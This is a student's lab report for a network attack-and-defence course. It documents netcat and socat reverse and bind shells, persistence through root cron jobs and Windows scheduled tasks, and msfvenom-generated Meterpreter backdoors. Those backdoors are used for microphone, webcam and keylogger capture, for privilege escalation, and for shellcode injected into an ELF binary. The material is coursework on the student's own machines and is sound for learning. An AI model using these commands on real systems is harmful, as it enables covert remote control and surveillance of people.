20222310 2024-2025-1 《网络与系统攻防技术》实验二实验报告
一、实验内容
1.使用netcat获取主机操作Shell,cron启动某项任务(任务自定)。
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
2.使用socat获取主机操作Shell, 任务计划启动。
3.使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell。
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
5.使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell。
二、实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
先关闭防火墙和杀毒软件,在windows主机上安装netcat。windows打开终端,ipconfig
查看主机的IP地址。
windows终端ncat.exe -l -p 8888
(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定,这里选择8888号端口)
kali终端nc 172.16.178.56 8888-e bin/sh
(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。这里选用windows的ip和8888号端口)
windows终端ls
,显示了kali虚拟机的文件名,说明成功连接并获取shell。
进入kali的root用户,crontab -e
(执行文字编辑器来设定时程表),选择2:/usr/bin/vim.basic
输入后进入文字编辑器,30 * * * * /bin/netcat 172.16.178.56 8888 -e /bin/sh
(输入自己主机的IP地址,在每小时的第30分钟启动任务)
编辑好后退出文字编辑器,crontab -l
查看时程表
在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件
windows终端与linux建立连接后,切换到root模式,echo "* * * * * echo "20222310" > /home/kali/2310_1.txt" > /var/spool/cron/crontabs/root
crontab -l
(检查时程表)
kali虚拟机进入对应路径检查2310_1.txt文件,修改成功。
2.使用socat获取主机操作Shell,任务计划启动
windows下载socat,cmd进入socat文件夹,socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)
kali进入root用户,socat - tcp:172.16.217.17:8888
windows准备一个c语言编译运行的.exe文件"20222310shiyan2.exe",然后kali命令行schtasks /create /sc minute /mo 1 /tn "20222310" /tr "C:\Users\Administrator\Desktop\20222310shiyan2.exe"
(一分钟执行一次)
windows主机打开计算机管理,观察到正在运行的"20222310"任务,说明实验成功。
3.使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell
这一步之前先把windows的防火墙和杀毒软件关闭。
kaliifconfig
查看虚拟机的ip地址。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.216.188 LPORT=8888 -f exe > 2310backdoor.exe
(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件2310backdoor.exe)
LHOST=172.16.216.188是shell连接的主机ip地址
LPORT=8888是攻击者监听的端口号
-f exe指定了 payload 的格式,这里是exe
2310backdoor.exe是生成的恶意可执行文件
主机进入ncat目录下,ncat.exe -lv 8888 > "C:\Users\Administrator\Desktop\2310backdoor.exe"
(监听8888窗口等待接收可执行文件2310backdoor.exe,并将2310backdoor.exe文件存放在桌面上)
kali终端nc 172.16.216.188 8888 < 2310backdoor.exe
(将生成的后门文件2310backdoor.exe传给主机)
windows桌面成功找到2310backdoor.exe后门可执行程序
kali终端msfconsole
use exploit/multi/handler
(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp
(使用和生成后门程序时相同的payload)
set LHOST 172.16.216.188
(攻击机的IP地址)
set LPORT 8888
(监听的端口)
exploit
(运行监听模块)
windows主机运行2310backdoor.exe,然后kali虚拟机输入ls,可以查看windows桌面内容,说明已经连接。
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在exploit模块继续输入以下命令:
record_mic
音频
screenshot
截屏
webcam_snap
拍照
keyscan_start
开始读取键盘记录
keyscan_dump
结束读取键盘记录
音频截屏和拍照在桌面上就可以看到,键盘记录的字符串将显示在命令栏上
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入getuid
查看当前用户getsystem
提权
5.使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell
kali终端输入Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.216.188 LPORT=8888 -x /home/zhengxiancheng/Desktop/pwn20222310 -f elf > 2310_pwn
,使用msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2310_pwn的文件中。
-p linux/x86/meterpreter/reverse_tcp:指定生成的 payload 类型
LHOST=172.16.216.188:目标主机 IP 地址为172.16.216.188,即虚拟机IP地址
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888
-x /home/zhengxiancheng/Desktop/pwn20222310:指定一个可执行文件作为模板
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式
对2310_pwn文件赋予权限chmod a+x 2310_pwn
msfconsole
use exploit/multi/handler
=
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.216.188
set LPORT 8888
exploit
重新监听过程
打开另一个终端,运行2310_pwn文件,回到第一个终端,成功实现远程控制shell。
三、问题及解决方案
问题1:edge浏览器下载netcat会因为检测危险下载失败。
问题1解决方案:切换到微信进行下载。
问题2:下载的多个版本的socat中没有socat.exe可执行文件。
问题2解决方案:下载https://gitee.com/wildlinux/NetSec/attach_files中的socat。
问题3:在进行第三个实验目标时在主机上运行后门文件时,虚拟机没有反应。
问题3解决方案:这个问题的原因是虚拟机的ip地址被隐藏成了10.0.2.15,虚拟机设置的连接方式有问题,应该改成桥接网卡,具体可以参考https://blog.csdn.net/2301_79896143/article/details/135114730此文章。修改连接方式后虚拟机的ip地址改变了,问题迎刃而解。
四、回答问题
1.例举你能想到的一个后门进入到你系统中的可能方式?
答:通过含有恶意附件的电子邮件下载和运行后门程序。这些附件可能伪装成文档、图片或其他常见文件格式
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:win:注册表修改、计划启动服务;linux:cron作业
3.Meterpreter有哪些给你映像深刻的功能?
答:生成后门程序,生成shellcode
4.如何发现自己有系统有没有被安装后门?
答:查看系统日志,分析可疑进程,检查启动项,使用可信任的杀毒软件等
五、学习感悟、思考等
通过此次实验,我学会了如何主机获得虚拟机的shell,虚拟机获得主机的shell,远程获得shell。我对ncat,socat等传输软件也有了初步的认识和使用经验,对后门也有了初步的了解。后门是一种用于绕过正常身份验证过程的恶意程序,通常用于允许攻击者远程访问系统。
在虚拟机上进行实验注定不是一帆风顺的过程,一个小小的错误就可能导致后续出现重大问题,比如我在完成第三个实验目标时,仅仅因为虚拟机网络连接方式有问题,导致我在主机上运行后门时,虚拟机没有反应,这个问题困扰了我三四个小时,最后我灵机一动搜索10.0.2.15这个ip地址,才得知这是一个隐藏ip地址,虚假的ip地址,是无法获得结果的重点。
这次实验也让我对网络安全有了更深的理解,深刻认识到了网络安全的重要性,后门程序可以控制主机,获得主机的隐私内容,来历不明的电子邮件或网站等都可能包含恶意后门程序,我们在上网时需要对来历不明的链接心怀警惕之心。